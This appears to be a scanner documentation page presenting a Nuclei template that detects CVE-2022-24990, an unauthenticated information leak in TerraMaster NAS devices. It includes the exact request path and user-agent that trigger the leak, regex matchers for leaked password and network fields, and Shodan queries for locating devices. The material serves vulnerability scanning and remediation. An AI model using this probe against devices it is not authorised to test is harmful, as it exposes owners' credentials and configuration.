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TerraMaster TOS < 4.2.30 Server Information Disclosure

ID: CVE-2022-24990

Severity: high

Author: dwisiswant0

Tags: cve,cve2022,packetstorm,terramaster,exposure,kev,terra-master

Description

Section titled “Description”

TerraMaster NAS devices running TOS prior to version 4.2.30 are vulnerable to information disclosure.

YAML Source

Section titled “YAML Source”
id: CVE-2022-24990


info:
  name: TerraMaster TOS < 4.2.30 Server Information Disclosure
  author: dwisiswant0
  severity: high
  description: TerraMaster NAS devices running TOS prior to version 4.2.30 are vulnerable to information disclosure.
  impact: |
    An attacker can exploit this vulnerability to gain sensitive information about the server, potentially leading to further attacks.
  remediation: |
    Upgrade the TerraMaster TOS server to version 4.2.30 or later to mitigate the vulnerability.
  reference:
    - https://octagon.net/blog/2022/03/07/cve-2022-24990-terrmaster-tos-unauthenticated-remote-command-execution-via-php-object-instantiation/
    - https://www.broadcom.com/support/security-center/attacksignatures/detail?asid=33732
    - https://forum.terra-master.com/en/viewforum.php?f=28
    - http://packetstormsecurity.com/files/172904/TerraMaster-TOS-4.2.29-Remote-Code-Execution.html
    - https://github.com/ArrestX/--POC
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2022-24990
    cwe-id: CWE-306
    epss-score: 0.9593
    epss-percentile: 0.99416
    cpe: cpe:2.3:o:terra-master:terramaster_operating_system:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: terra-master
    product: terramaster_operating_system
    shodan-query:
      - "TerraMaster"
      - terramaster
  tags: cve,cve2022,packetstorm,terramaster,exposure,kev,terra-master


http:
  - method: GET
    path:
      - "{{BaseURL}}/module/api.php?mobile/webNasIPS"


    headers:
      User-Agent: "TNAS"


    matchers-condition: and
    matchers:
      - type: word
        part: header
        words:
          - "application/json"
          - "TerraMaster"
        condition: and


      - type: regex
        part: body
        regex:
          - "webNasIPS successful"
          - "(ADDR|(IFC|PWD|[DS]AT)):"
          - "\"((firmware|(version|ma(sk|c)|port|url|ip))|hostname)\":"
        condition: or


      - type: status
        status:
          - 200
# digest: 4a0a004730450221009c5ba6057f0524b2db5dafb3ae198895f033b0cdf3da222cc27f04c3b087db2e0220103692ea8499e20e10a01d03b7f6e21ecca1b79a516a6a7ed05b1d422eb8d19c:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2022/CVE-2022-24990.yaml"

View on Github